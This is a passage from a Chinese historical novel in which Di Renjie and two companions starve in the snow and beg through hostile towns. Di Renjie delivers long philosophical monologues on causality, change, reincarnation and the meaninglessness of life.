三人只好呆坐在木车上,望着山坳四周银装素裹的景色。 洪辉与狄仁杰道:“先生,你的善良,我与狄宁哥都是瞧见了的。纵使天下人都说你不好,我洪辉也不会再相信了。如今我跟狄宁哥快恢复完全了,即日便可起来行走。先生还是先自己去了吧,我们二人到时候再来寻先生。” 狄宁点着头“嗯”了一声。 狄仁杰听了,看着二人,半晌道:“如果这是天意,那我就不去也罢了。” 狄宁、洪辉二人相顾一看。 狄仁杰叹了口气,道:“从几个月前出了洛阳以来,我去边关的路上便重重阻碍。如今想来,这一切除开人为,亦是天意。这次办案,我还失去了忠义、胡乐、鹃儿……我的这几个好朋友啊,他们都丧命了,我心里感到很孤独啊。” 二人又劝了一番。 狄仁杰又叹了口气,缓缓道:“其实我一开始就知道,陛下此次派我出来查案的真实目的。” 狄宁道:“老爷,你说什么?” 狄仁杰看了他一眼,道:“没什么。”苦笑了两声。 洪辉道:“这么说,先生不想去边关啦?” 狄仁杰道:“也不是。问题是我就算是到了边关,又能怎么样呢?难不成战局还能因我狄仁杰一人之力而改变吗?” 洪辉道:“先生肯定行!” 狄仁杰苦笑了笑,摆手道:“没可能啦。这世上的事早已定好了,命运就摆在那呢。人唯一能做的,就是顺着命运给出的道路,一步一步地走着,仅此而已。” 狄宁道:“难道不是‘人定胜天’吗?” 狄仁杰道:“人在自然面前,是何等的渺小啊,谁又能主宰自己的命运呢?就像此时,雪已结成了冰,我们于是就被困在了当中,无法迈步。” 狄宁道:“难道不是人改变了历史吗?” 狄仁杰道:“又何尝不是历史先改变了人,人才看似改变了历史。” 洪辉道:“如果人都能改变历史,难道还改变不了人自己吗?” 狄仁杰呵呵笑了,道:“人可比历史难改变得多喽。历史与人,本身就是一种相互关系,二者都不能离了对方而独立存在。离了历史的人则非人,离了人的历史也就不成其为史。所以当我们以为人正在推动历史时,其实历史同时也正在推动着人,又使得人来推动自己,现出了一种被动的假象。而其实看得见的是虚幻,那藏在背后看不见的却是本体,最终形成了一种时间过程中的结合。所谓‘道也者,不可须臾离也,可离非道也’,指的就是这个了。 “论时空、因果与动静。关于时间、空间、因果律以及变易和静止的总体考察。我们人类于时空当中所处的每一个当下都必然是介于两个相续的因果关系之间的一个转瞬即逝、难以捕捉到的片段。这是由于我们所处的每一个当下,也就是所谓的现在,都必然是上一个因果关系当中的最终结果,以及下一个因果关系当中的第一原因。当下是连接无数个连绵不断的持续进程的媒介和中间点,亦是过去的终结和未来的开端。 “我们必然是处于连续不断的因果关系当中的存在,因为因果律的存在是时间和空间存在的先决条件,也是时间和空间之所以能够有着存在作用的必然基础。如果我们将因果关系从时空当中抽离出来,我们就很难再把时间与空间关联上,变成一个以时空形式呈现出来的现象界的总体性存在。 “之所以这么说,是因为时间的作用是变化,而空间的作用是承载着其中的存在物。如果时间不是以因果律为先决条件,那么时间的变化就不可能发生。这是因为,当我们谈到时间的变化的时候,我们已经先将变化的方式以因果律的形式显明了,所谓的变化必定是一个原因跟另一个由此原因而发展的结果这么一个原因和结果的相续性转换的整个过程包括整个过程的起点和终点也就是原因和结果的本身包括它们二者之间的一切过程,所引发的时间的变化也就成为了可能。同样,空间当中的存在物如果纯粹是静止的状态,那么里面的存在物也就毫无作用。 “然而,当我们把时间的变化从空间当中的存在物的变化抽离开来的时候,我们就发现时间的变化作用根本不可能自我显现出来,因为离开了空间当中具体的存在物的存在,时间的自身因为不属于空间当中存在物的可见范畴而显现着自身的虚空,于是时间的变化以虚空的方式不成为任何具体的存在,那么存在的时间也就因为其无法显现自身的变动形式而变得并不具体存在了。 “然而,当空间当中的存在物因为时间的缘故变成了非静止状态,那么不但空间当中的存在物有了变化而能够自我显现出作用来,连同虚空的时间存在也将其自身的变化作用彰显在了空间当中的存在物之上而变得具体可见了,于是时间与空间相互依存,并且必定是以因果关系做为它们彼此之间共同的纽带,由于原因产生的结果,所呈现出来的就是时间变化引领着空间当中存在物的变化而使得时间、空间和因果关系一同共存于我们人类所处的现象世界当中,成为了三位一体不可分割的存在形式。 “现在我们知道了,所有的呈现因为时间的存在而使得空间存在的意义彰显了出来,于是空间以时间为先决条件来彰显自身的变动性的存在,而时间又以因果律为其自身的变动性存在的绝对基础。于是时空都被包括在无数个因果关系当中,呈现着我们所处的这个现象界。而所有因果关系当中的原因都是以无数个当下为起源,同样,无数个结果也都是以无数个当下为终结,于是无数个当下都一同成为了所有因果关系当中共同的起源和终结,所有的因果都以无数个当下为其基础,那么,这个绝对基础也就是因果关系之所以存在的凭借,于是,当下也就是所有因果关系能够存在的先决条件。 “我们都知道,在无数个当下为呈现的我们人类的生命状态当中,当下,也就是现在,完全是绝对具体又不可捉摸的一个矛盾体。因为现在是未来转瞬之间到来的片段,又是刹那之间成为了过去一去不复返的一瞬间,所以我们从来都在当下生活,却又从来也不可能真正认识什么是当下,因为我们所认识的永远都不是同一个不变的当下,虽然当下的当下永远都不会改变,然而我们所认识的只是一个已经流逝了的或者是尚未到来的时间片段,于是最具体的当下同时也是最抽象的一种状态。离我们最近的事物偏偏又是离我们最远的一种事物。 “‘一个人不可能经过同一条河流两次。’说明了宇宙万物都处在不断地变化当中,我们所认识的事物都是以短暂的、瞬间的存在形式而呈现着只有可能出现仅仅一次的现象形式。 “我们也知道,中国古代最早的经典哲学著作《易经》讲的就是天地万物的变易规律,而其中关于‘易’之解释有三:一、变易,也就是一切现象都处在绝对的变化当中,没有任何事物是不变的,变动的本身就是现象之所以存在的真正根基。二、简易,也就是一切万象虽然复杂,然而概括起来却是非常简单的,可以用数学方式总结和归纳宇宙万象,变成非常简易的形式,就比如说最初由伏羲氏所画的八卦,就是用八种概括性的事物试图去囊括整个宇宙的一切现象的变动的所有可能性。后来周文王在牢狱当中又把八卦变成了八八六十四卦,就是我们今天所看到的《周易》,以乾坤二卦为首,做为全阳和全阴的事物的代表,其余的卦都是这两卦的变化的呈现。三、不易,讲的就是现象以外的本体范畴乃是属于不变易的存在,是一切现象变易的绝对基础,也就是超越变化之上的不变的真理,是所有变易不变的总原则,只要能够掌握了总原则,那么就可以‘以不变应万变’,游刃有余地面对天地万物的现象性变易了。从这‘三易’原则看来,变易本身就是一个相对的概念,是因为有不变的存在所以才会出现变动的。 “那么现象界当中的一切变化难道就是绝对的毫无静止的吗?有另一种哲学观点反驳‘一切都是变化的’这种学说,认为恰好相反,天地万物一切都是绝对静止的,变化才是静止这个真理的一种相对的现象性呈现罢了,不是真实情况本身。这跟强调一切都是绝对变化的,静止才是表象的观点截然相反,却又不无道理。为什么呢?实际上,当我们能够说明一切都处在变化当中的时候,我们也同样可以把一切都当成是处在静止当中的。变化与静止本身就是相对的概念,一个人能从变化看一切,另一个人就同样可以从静止看一切。 “从这一点来说,任何理论只要是站在了二元对立双方当中的任何一方来立论,就可以从这一方面的反面来驳倒他。因为二元对立的双方当中的任何一方都是跟另一方相对的,于是一方既然能成立,那么另一方也必然能够成立。甚至我们可以说,二元对立双方当中的任何一方都是以自己的对立面为绝对的存在基础的,一旦离开了对立面,任何一方都不可能成立,因为任何一方的成立都是由于自身对立面的存在而有了自身存在的可能,也就是任何一方的存在必然已经包含着自身对立面的存在为绝对基础,于是任何一方当中都不可能包含着绝对的答案是另一方所不能驳倒的。因此,只要从立论一方的反面来进行反驳,两方就必然能够至少打个平手,因为相对关系当中任何一方的概念性内含之总和都不可能真正大过自身对立面的概念性内含之总和,于是至少从概念性的存在上来说(这里不是说现象性的呈现,纯粹就是以概念性而论),二元对立双方都是绝对的相互依存的关系,双方当中的任何一方都必须得以自身之对立面为绝对之存在基础,双方至少在概念性的存在和含义性的意义上而言是相互平等的一种关系,因此任何一方的观点都不可能绝对战胜另一方的观点,也就是自身一面的对立面之立论,其论证之份量如果是合乎逻辑的,那么也必然不在自身之下。 “现在继续说,为什么可以有理论同样以静止的观点来看待世间万物的存在现象。这是因为,如果我们把一切的所谓的变化分割成其自身存在形式的所有的因果关系和时间延续当中的一个个片段,那么组成变化的全部过程就是纯粹静止的。动态变化是由静态构成的,将静态迅速地连接到一起,动态变化就形成了。如果单纯从动态来看,的确是在变化的,然而,如果我们从构成这变化的静态来看,实际上并没有发生任何变动,因为所谓的变动只是把所有的静态当做一种持续性的过程连接起来的表象,却不是其存在的实质。因此,反驳‘一切都在变化当中’的理论就用变化的对立面静止来立论,说一切的变化也都是由无数个构成变化的静止状态所组成的合集,使得一切有了变化的假象,而真实情况就是一切的本质都是静止的,都是不变的,都是跟变化的假象相反的,是构成了变化的假象的实质,也就是无数个静止性的形态,是一切现象变易背后的不易本质。 “于是我们发现,两方面的立论都各自成立,甚至说一切都是静止的似乎还更深入本质一些,因为变化是由静止构成的,反之,静止却不是由变化构成的,而是由自身的静止性质构成的,所以相对于变化来说,静止的性质更加纯粹,更加具有同一性以及独立性,更加不依赖于其它性质而构造,如变动之依赖于静止而构造一般。 “也许我们所处的当下,就是一个绝对静止的状态,然而连起来,就成了我们动态的生活形式。甚至连我自己都不是真实存在的,因为我只是一个在时间过程当中的由无数个静止的我所构成的会变化的存在,而实际上,单独把任何静止的片段拿出来,我都不再是我。那么现在正在思考的我是谁呢?我只能说,可能是当下、现在的我,却不再是已经过去了的那个我了。 “论轮回与虚无。人生毫无意义,只是虚无、重复和轮回。存在的表现形式是重复、轮回。不断地重复、不断地轮回,永不止息的重复、永不止息的轮回,就是存在的所有表现形式。其它没有任何表现形式是属于存在的。于是我们看到,以重复和轮回为表现形式的存在,是一个彻头彻尾的毫无意义的东西,是一个巨大的骗局。存在的本质因此只能是虚无的、虚空的、没有价值的、悲惨的、绝望的。存在的具体表现形式以生命体的生存为呈现,以生命到死亡的过程为彰显,以生活和一切为了继续活下去的行为为全部内容,以不断地欲求、努力、找寻、挣扎为目的,以求不得、徒然、虚空、痛苦为结局。 “存在的过程当中,存在物感受到的变化都只是不变的本质所延伸出来的、或减少或增多的量变的表象,而其实质却是不变的。在这些量变的表象当中,存在物似乎能够感受到超出以上所说的所谓消极的内容以外的感受,然而,这只是错觉。因为无数个量变是同一个本质在现象上的看似不同的表现形式,不是不变的本质那不可分割成不同表现形式的自身,只是本质自身所延伸出来的产物,是本质相对化了之后的现象形态。于是,我们把两个痛苦之间的、痛苦因为量变而减少了的部分称之为幸福、快乐,而存在的本质依然不变,只是在现象的呈现上量变了而已。这种对现象的直观感受固然受到主体的心的影响,然而现象的形式又是彻头彻尾直观地以物的形式表现出来,于是再好的心境也难以抵御最烂的现实环境,也就是这个物质世界给我们带来的痛苦,直观到这颗心无法拯救,更不可能去摆脱,而只能任由困境加诸己身,而此心亦无可奈何。身体是灵魂的监牢。在各种直观的感受面前,这个物质世界的确是以物的姿态得胜了。 “一切现象都只是量变,本质自身不变(这里我说的只是现象的直接本质,不代表这个现象的直接本质就是一切的本质,也就是并未否定现象也许还存在着间接本质,乃是本质的本质,也就是直接本质的存在原因,因此,这个直接本质还有其自身存在的另一个本质,是这个现象的直接本质之所以存在的原因,也就是现象之所以存在的更加根本的原因,也是现象之所以以其直接本质的这种情况而存在并且直接本质也跟着现象一同存在的它们彼此都存在的原因)。于是我们看到,一切现象都只是照着其本质的规律而进行,只是不断地重复、不断地轮回而已。存在因为有了具有主体性意识的生命体存在物而有了可以被主体认识的客体性的存在意义,然后存在将一切表现形式用纯粹的物质形态显现了出来,用生命体的生命过程来显现自身的一切存在性,然后用存在物所必然经验到的虚无来总结自身的全部意义,而这个虚无的意义又是用不断地重复、不断地轮回这个无聊又乏味的形式把一代又一代的人,一生又一世的生命体存在物推向虚无。轮回就是虚无的原因,虚无就是轮回的结果。没有轮回,就没有虚无;没有虚无,就不是轮回。 “中国古代在佛教传来以前,最早的《易经》的思想就是轮回的,就是事物在不断地转圈,永远在一个范畴里打转出不来,所谓‘物极必反’,只是终点又回到起点而已,后来加上了阴阳学说,也就是在阴阳的范畴当中量变罢了,以及后来的庄周在《齐物论》当中所说的‘方生方死,方死方生。’也有轮回的意思。那么为什么非得相信轮回呢?我们也知道,关于死以后的事情已经涉及了超越经验以外的范畴,是一个用经验不可知的形而上学问题,什么轮回转世、灵魂不灭,我们如何得知其真实性和存在与否?我不打算谈死以后的事情,我不打算从永恒的角度来看待我们是否生生世世都在这个轮回当中,我也学学孔子所说的:‘未知生,焉知死?’来讲讲我们能够经验到的这个短暂的今生吧。我想说的是,用轮回来概括我们的日常生活,都完全是可以证实的。当然,我这样论断,难免会陷入虚无主义,认为人生当中的一切都是没有意义的。但是,为什么我们一定要认为说人生是虚无的就是消极的呢?也许我们这一辈子来到世上,就是来认识人生的虚空的。我们总是逃避这个问题,因为真相不好听,所以我们仍然在找寻一个更积极、更好听的意义,来美好地诠释我们这一生的存在。其实大可不必,因为真相就是这么直白又鲜明地摆在我们面前,我们每一天的生活都是直观地显现着自身的虚无和无意义的。 “我们不肯承认,原来人生唯一的意义就是来发现人生是没有意义的。这结论很荒谬,但就是真相。如果我们接受了这个真相,我们就会发现,我们的确是在不断地重复、不断地轮回,或者我们也可以反过来说,正是因为不断地重复、不断地轮回,所以我们的人生不可能有着其它的更有价值的意义。我们每一天都在重复,都在轮回。如果更仔细地观察,应该说,我们每时每刻都在重复,都在轮回。没有任何事情是新鲜的,都是不断地发生同样的事。我们的每一个当下,都是上一个重复、上一个轮回的终点,又紧接着开启了下一个重复、下一个轮回,又成为了未来的起点。我们从起点走到终点,又从终点回到起点,转来转去,走的都是同样的路,做的都是相同的事,没有任何分别,没有丝毫意义。这里我不去举任何具体的例子来说明,因为不必要。倘若我所说的已经涉及了普遍真理的范畴,那么,无论什么人都可以从自己的人生中看出这个真相来。也就是说,不是个别的人在重复、在轮回,而是我们每一个人。无论我们做什么事,都是重复和轮回的具体表现,没有什么超出这个真理以外的现象形态可以被我们找寻到。于是我们发现,真正的真理甚至都不需要举例子来证明,因为真理是不证自明的,是我们每一个人都可以从生活当中直观地感受到的,而不仅仅是一个虚空的理论和观点而已,乃是一个纯粹直观的事实,是我们的存在本身,是我们的生命本身,是我们的生活本身,是现象的表现形式自己的彰显、自己给出的答案。由此可知,真理的确是掌握在大多数人手中的,因为真理涉及我们每一个人的具体存在,没有例外,所以我们每一个人都可以去直接掌握这个真理,不用我去论证,诸位就可以自行体验‘人生的意义’这个巨大的命题是怎么用清晰明白的答案显现自身的。 “今生的轮回是从什么时候开始的呢?从我们一出生来到这个世界就开始了。又要到什么时候今生的轮回才能够结束呢?一直到我们死亡离开这个世界为止。至于生前身后事,我就不提了,因为我也不知道。但是这辈子,已经可以说是盖棺论定了,这就是人生啊!其实,从永恒的角度来说,我们甚至都找不到所谓的开始和终结。因为这只是一个相对的时间观念,而永恒或许在时间之外,并不是指时间的无限延长,而是没有时间的概念。所以,不存在一个起点,也没有一个终点,就像佛教说的:无始。也就是说,没有开始。那么,也就没有结束。轮回是什么呢?或许是一个圆圈,无论哪一点都可以算做是开始,同样,无论哪一点也都可以算做是结束。于是,没有开始,也没有结束,只有永远的原地打转,不得解脱。生活也是这样,我们没有出路,所以就日复一日地转着圈,甚至以为我们有时候真的已经转出去了呢。现在如果我们就每一个个体来说,他的一切也都是被包括在了无限的循环当中,也就是说,每一个个体也都是以重复和轮回的形式来彰显自身的存在的。所谓:习惯如自然。还有:江山易改,本性难移。每一个个体也都是在不断地重复、不断地轮回,没有什么真正的改变。照佛教法相唯识宗的说法,我们每一个人的第八阿赖耶识(也称‘藏识’)里面都有着过去世习气的种子,众生带着它一生又一世地继续轮回下去。于是,没有什么是偶然的,因为今生的一切,都只是过去的延续。所以说,什么样的人,都是命中注定的,根本就改不了。不论是我们的性格、天赋、优缺点,这些都是自己过去世的延续,没有什么是新鲜的。照这么看来,有智慧的人就始终有智慧,而愚昧的人就始终愚昧。这很显然是不公平的,却又是最公平的自然法则,因为规律就在那里,套路连改都不改。 “我们用人间和历史的眼光来看,觉得这就是压迫人、剥削人的思想,是既得利益阶层给底层阶级洗脑的不好的论调。我们看到,这些既得利益阶层利用这种思想让人觉得阶级是绝对的牢不可破的:做主子的就该历世历代都做主子,做奴才的也就该历世历代都做奴才,帝王将相永远是帝王将相,小老百姓永远是小老百姓。我们从人类历史和人类社会的角度来看,意识到这很不公平,虽然古时候就有‘天尊地卑,乾坤定矣。’之说。然而‘王侯将相,宁有种乎!’的话也是有人喊的,而且历世历代都有。可是我们发现,在古代,凡是喊出这种口号的人,最后一旦成功了,就会在不久以后又变成了另一个既得利益阶层,所以我们看到中国历史几千年都是这样轮回的故事。这个问题我不打算细说,顺便提一下只是想说,不论是个人还是群体,都在重复和轮回当中,无一例外。 “按照佛教的说法,这是一种业力,是一种导致因果不断、轮回不断的自然法则,是一种强大的力量。所谓善有善业,恶有恶业,不善也不恶也有无记业。总之,这个业力是因缘果报的推动力。所以习气至难转变,因为已经习惯若自然了。这一切不能转变,就无法解脱,无法证得涅槃,无法跳出轮回,只能日复一日地继续在虚无当中生活,没有尽头。” 洪辉道:“没听懂。” 狄仁杰道:“不用听懂。” 他又道:“我们不知道还要在这里待多久,这里连树枝都没得吃了,过几日雪若是还是不化,我们恐怕就得饿死了。” 洪辉道:“到时候先生自己先走,我与狄宁哥自会想办法……” 狄仁杰怒道:“你不要再说这种话了!我狄仁杰既然说好要陪你二人到底,那就决不食言!难道我为了在乎这条老命,把你们两个丢在这冰天雪地里自生自灭?那我就不配做人了!” 洪辉忙道歉。 狄仁杰道:“我们从现在起少说话,否则耗费的体力多了,饿得快。” 三人遂静默。 晚间又是凉风阵阵,冻得三人直哆嗦,方睡着了没多久就又被冻醒。 又过了几日,地上的雪依然是硬邦邦的,根本无法将推车从雪堆里拔出来。 三人只从冻雪上刮着些来吃。 狄仁杰看着二人正色道:“我……我要……告诉你们……一件……一件很严……很严肃的事,你们……好好听着……” 洪辉、狄宁疲惫的眼神看着他,听他说道:“我们……要死了。” 二人明知狄仁杰故意说笑,是想逗自己二人开心。 二人确实被逗笑了,可刚要笑出口时,不由得又把笑给缩了回来,只因连笑的力气都没了。 所以二人不但没笑,反倒被狄仁杰给说哭了。 狄仁杰叹道:“罢了……”忽想道:“他们二人是因为身体受了伤才动不了,我只是疲乏些而已,怎可坐以待毙?”遂道:“你们……在这等着,我……去找食物。” 洪辉道:“先生……别去……” 狄宁道:“老爷……” 狄仁杰道:“没事,等会儿啊……啊……” 从车上下来,蹒跚着走到山里去了。 黄昏方回,见他抱着一堆树枝走到了车前,累得倒了下去,树枝撒了一地。 一时醒了,见二人关切地望着自己。 狄仁杰道:“吃吧……” 三人遂各自吃了起来,都觉得香甜可口,实乃人间美味。 洪辉吃着吃着就哭了,一面嚼着,说道:“我以前……吃着肉……也觉得……就那样。这会儿……觉得树枝……都那么……那么……好吃……好吃啊……” 三人饿过头了,一下子吃了太多,肚子一齐痛了起来。 39. 第三十九章 除夕 又过了数日,洪辉、狄宁二人终于内伤平复,可以站起来行走了。 狄仁杰三人早已骨瘦如柴,活像坟里爬出来的鬼。 三人哈哈笑了笑,说声:“走喽!”便继续赶路。 这时雪化了许多,路没那么难行了。 三人早已吃惯了树枝,随身携带着些,饿时便嚼上一口。 行了数日,来至一小镇子,虽有许多饭店,然三人早已身无分文,又如何买得起饭。 三人却也并不在乎,只因闻着那饭菜香,好像与木头相比还差着些呢。 三人夜间便在街边随便一歇,次日又行。 这番却是接连几个镇子,而且还越走越大。 三人这日没木头吃了,身上又没钱,正不知如何,忽见地上有一片混着泥土和残雪的枯枝败叶。 三人便如饿虎扑食一般,蹲下来便抓着吃,哪里顾得脏不脏。 这时一个妇人牵着一个小孩路过,那小孩指着狄仁杰三人道:“妈妈你看,他们在干吗呀?” 妇人见了,唬了一跳,忙转身小声道:“快走快走,这三人不正常。” 小孩道:“怎么不正常啦?他们干吗要去吃木头叶子呀?” 妇人悄悄道:“他们都是穷叫花子,因为从前不好好念书,才会变成了如今这个样子。你要好好念书,长大以后就是当个小芝麻官,也不至于混得像他们这么惨。” 洪辉听见了,回头道:“这位夫人,你怎么这么说话?我洪辉虽不曾读过什么书,可狄先生却是博览群书。你说小芝麻……” 狄宁忙捂住他口,道:“别说话,快吃。” 洪辉遂不再说。 三人吃罢,便拉肚子了。 行路时,问行人前方是何去处,都说再过百里路就是缘州城了。 三人遂朝缘州方向行。 一路上饿了时候就向人讨饭,那些人见是叫花子,少许人愿意施舍一些。 有一回,洪辉一面狠狠地接过了铜钱,一面哼了一声,不自觉地骂了出来:“我操他妈的真是丢脸!吃个屁饭而已,还得向人乞讨,真当我们是乞丐呀!” 那施舍的路人一听大怒,指着三人骂道:“嘿!我还去你妈呢!我白给你们钱,你们还骂人啊!不要就还给我!什么意思嘛……” 狄宁还待劝,洪辉早将铜钱往地上狠命一摔,一面骂道:“我去你妈的个屁钱!还给你就是了!老子就是他妈饿死也不讨饭了!” 那人叫道:“好哇好哇!叫花子也耍横!” 登时一堆人来围观。 狄仁杰赶忙道歉,一面俯身去捡那铜钱,不防被那人一脚踹在了脸上,直摔了下去。 那人骂道:“死叫花子装什么装!三个狗杂种都是一伙儿的,你还道歉呢!” 洪辉见狄仁杰被打了,大怒,冲过来就一拳打那人脸上。 狄宁一面扶起狄仁杰,一面叫道:“你不要再惹是生非了!” 此后大街小巷都传:“有一老的还有俩小的三个叫花儿,大伙儿要是见到他们来讨饭,都不要施舍,否则他们会来打你。” 三人于是变成了过街老鼠,人人喊打。 洪辉饿昏了头,嗫嚅道:“大不了我偷去……” 狄仁杰听见了,指着厉声骂道:“小辉!你不愿意去讨饭,这是骨气,我并不曾为此而怪过你。可是你现在竟说出了这种话来,说明你此刻心里就是这么想的!从今以后,你再也不许有这种念头了,否则你也不用再跟着我了!做人就要光明磊落,就算是光天化日之下讨饭,也没什么丢脸的!至少也比暗地里去偷东西要强得多!” 洪辉立时清醒了,忙道:“先生,我错了!我洪辉谨记先生教诲,再也不敢生这种念想了!” 狄仁杰叹了口气,道:“我只是不希望你变坏了。你既然跟了我,我也就有责任教导你,你也勿怪我严厉。” 洪辉点头道:“是。” 三人遂分开要饭,而非一齐要,也就没被人给认出来。 每日除了赶路就是要饭,却也只勉强没有饿死。 途中又是风雪交加,一阵阵凉意袭人。 在这腊月的夜晚,三人已是好几日没要到饭了,又穿得单薄,饥寒交迫,实在是苦不堪言。 这时来到了贫民窟,见许多木杆子撑着帐篷,傍着几间被风雪压塌的草屋,到处都脏兮兮的,臭不可当。 一片黑暗中,狄仁杰三人见一群乞丐正望向自己。 此时三人的外貌比真乞丐更像乞丐,简直是以假乱真。 或者说,此时的三人已经与真乞丐无异了。 狄仁杰向众丐作揖,说道:“诸位,外边雪大,我们是来避寒的,可方便?” 那些乞丐只是呆滞地看着三人,并不说话。 三人倒有些胆怯了起来,只原地坐了。 众丐见洪辉虽然污秽不堪,却仍是掩不住年轻俊美,竟皆起了不良之心。 其中一个过了来,将手中的一小块烧饼给洪辉递了过去。 三人起初还没认出是烧饼来,只因又黑又脏,倒与煤炭相似。后来认了出来,都当是好心,忙道了谢。 既是给洪辉的,洪辉便接了,将饼掰了开,跟狄仁杰、狄宁一齐吃了起来。 那送饼的目不转睛地注视着洪辉,吞了吞口水。 洪辉方才只顾接饼来着,这时一瞥眼,见那人像鬼一样,脸都快贴到自己面上来了,不由得吃了一惊。 听那人道:“俺和你困觉。” 狄仁杰三人一听大惊,嘴里的饼还未咽下去,手中的饼却已落了地。 那人就要来搂抱,唬得洪辉赶忙后退,指着惊叫:“你要干吗!” 众丐登时猥亵地笑将起来,都道:“俺们也给饼,跟俺们困觉来!” 洪辉、狄宁都吓傻了,听狄仁杰忙叫:“我们快走!” 众丐不由分说,都一齐冲了过来扯三人的衣服。 洪辉、狄宁大声惊叫,忙推倒了一片,救了狄仁杰,三人一齐跑了出去,在大雪之中漫无目的地狂奔。 知道离得远了,方松了口气,不料那些乞丐又追了来,唬得三人只顾逃命,倒忘了饥寒。 接下来的日子,风雪兀自未休,三人每日最多也只能要到一口饭,几乎都快要饿死了。 晚上都不敢歇息,深怕一睡着就再也醒不来了。 挨家挨户地叩门,客客气气地要饭。 那些好些的人只喝一声滚,将门重重关上也就罢了。 其余的那些先是给了三人希望,说声等会儿,进去了一时,却只拿出棍子来,将三人狠狠地打出门去,大骂几声脏话,拳打脚踢一番,再啐一口收尾,这才回屋闭门,也实在是颇为尽心了。 三人遂深深地体会到了人情冷暖,又切身地感受到了世态炎凉,也只徒留几声苦笑而已,个中酸苦又与谁诉? 这日雪花一片片地落下,狄仁杰三人已经连爬动的力气也没了,只在街边犄角旮旯处捡那些不干不净的脏东西吃。 那味道已经恶心到了没法儿形容的地步,三人刚放入口中便立时呕了出来,可比那枯枝烂叶要难吃得多了。 可三人此时为了活命,还是努力要吞下去充饥,最终却把胃酸都给呕了出来,眼前不觉恍恍惚惚了。 三人身心之苦到了极致,竟同时大笑了起来,好像世上最幸福的人都没有自己三人此刻欢喜。 狄仁杰笑道:“不要暴殄天物,这么好吃的饭真是难得,我们赶紧趁热吃吧,别等凉了!” 洪辉、狄宁笑着点头道:“多好吃啊!” 抓起来就往嘴里硬塞。 三人一面吃,一面笑,一面哭,仿佛这世间的过客。 洪辉道:“先生,我想问你一个问题。” 狄仁杰道:“你说。” 洪辉道:“为什么人在世上会有苦难?” 狄仁杰呆了半晌,摇头道:“我也不知道。” 洪辉道:“既然我们早都知道生命的终结是死亡,那么为什么人还要挣扎着活下去呢?” 狄仁杰微笑道:“小辉啊,你长大了。你的这两个问题,你要用你的一生去探索,我是没法回答你的。”又缓缓道:“一个人的一生还没有结束,其实并没有资格去谈他的一生。只可惜那些确确实实经历了一生的人们已经入土为安了,无法再活过来告诉活着的人们该怎样去活。而且或许,连那些死去的人本身都仍然不知道该怎样去活,又怎么传达经验给活着的人呢?他们死了,因为他们曾经活过。活着的人虽然还活着,但他有一天也会死去。老子说‘出生入死’,如果顾名思义,那么也是很恰当的。人岂不就是从出生的那一刻起,就已经开始进入了死亡的过程当中吗?那么生与死,二者是一种相互依存的关系,有生就有死,有死就有生。生生死死,这是这个世界自古以来谁也无法否认,也不能去逃避的一个问题,因为它是确切存在的。 “一个人,我们说他是人,前提就是他已经存在了,或者至少他存在过。这么说一提到人这个存在,生作为前提就已经存在了。而生一存在,死作为对应物也就跟着存在了。所以作为生的产物,人,就必须要走向死这个必然的结果,谁也逃脱不了。死亡是对于每一个生过的人,也是存在着的人,最为公平的一个结局。不论这世上有多少的不公平,比如有的人贫,有的人富,有的人事事顺利,有的人却要经历无数苦难,但是只有死亡,是绝对的公平。你活的久一点,还是早年便夭折,不同的人面临的结局都相同。这么看,动物比人境界高了。二者同样是存在物,动物们却只为吃喝生育,不为他们同是必然要经历的结局而担忧,如人一般。动物活着就是活着,死了就是死了。死亡到来以前,它们活着,死亡到来的时候,它们就死了。这说来像废话,但人怎么就做不到呢?因为人有自我意识。动物也有,但它连自己拥有的自我意识是一种自我意识都没有意识到,人却意识到了,而且是作为主体认识到了一个被认识的客体,同样是自己。一个认识自己的人既是主体,又是客体。 “当我的人生走到了尽头,我意识到生命中有两种阻碍:一种是人为的,还有一种是命运施加的。我现在已经分不清这二者确切的区别和它们其中的关联,但可以肯定的是,它们绝对是密不可分的概念。是人的选择导致了自身会拥有这样的命运作为结果,还是命运打从起初的注定便致使了人必然有如此的经历以及会做出这诸般的抉择?我在绝望之际发现两者已经融为一体,甚至看不清楚它们的边界了。怨天尤人,是面对命运的不公以及他人的丑恶在命运的驱使下对我进行各式各样的压迫和骚扰时,我无奈的回应。但同时,我也自怨自艾,因为在这过程当中,我也有自身造成的错误。我自身的错误,与他人的错误,还有上天的不公(我之所以说不公,因为我不敢断言上天安排的命运究竟是错误的,还是在就我有限的人所看不到的更高的范畴而言竟是正确的,更何况什么是错误,什么又是正确的,我也不知道),这些看似分散的因素在我的人生中竟然天衣无缝地连成了一片,以至于我甚至不知道到底该怪谁,是该哭还是该笑。 “整个宇宙就是一场大戏。如果在我们身处的这个宇宙之中存在着一个什么样的真理,是我们每一个人都可以亲眼看得见,亲耳听得到,亲手摸得着,并且时时刻刻都在亲身经历着的,那么我认为,就是人生这场大戏。我们都知道,戏都是假的,可是当一切场景、剧情、人物、台词都被安排好了以后,却显得那么真实,以至于里面的演员都越来越相信,自己是切实地活在这么一个世界里,而且各自命运走向的必然性逐渐转变为由偶然因素所构成,包括人为的冲突和干扰,自身的抉择和态度,一切似乎都是突如其来、意料之外的变更,以及最终戛然而止的落幕。但他们因为入戏太深了,以至于忘记了这场戏的背后,有一个指导一切的导演,拿着每个人早就已经定好的剧本,并且他们在这场戏中的什么时候开始演出,过程如何发展,以及结局怎样,也都早已定好,无可更改。而就连这种导演时常喊停的戏,都有入戏太深而走不出来、迷失自我的演员,更何况人生这场大戏呢?我们谁能有十足的把握可以断言,这个宇宙的戏剧背后,没有一个指导者呢?而我们这些演出的芸芸众生,又不是入戏太深了呢?而且非但这个戏剧的本身是假的,相对于里面的一个个演员而言,上演的还是一个彻头彻尾的悲剧。里面的每一个细节和场面都在诉说着无尽的悲哀,除了那些处在戏外的观众,可以把戏里的众生当作一群小丑,当作一个喜剧来看待,没有一个当局者是会感到舒服的。因为他们的自由是有限的,他们的命运是既定的,他们的走向是必然的,他们的悲惨的结局是绝对的。而那些观众呢?他们也未必歹毒到要发笑,但他们也永远感觉不到跟里面经历的人相同的悲哀。这就是戏里戏外的差别。我接下来就要解释为什么这个世界的本身就是一个大大的悲剧。 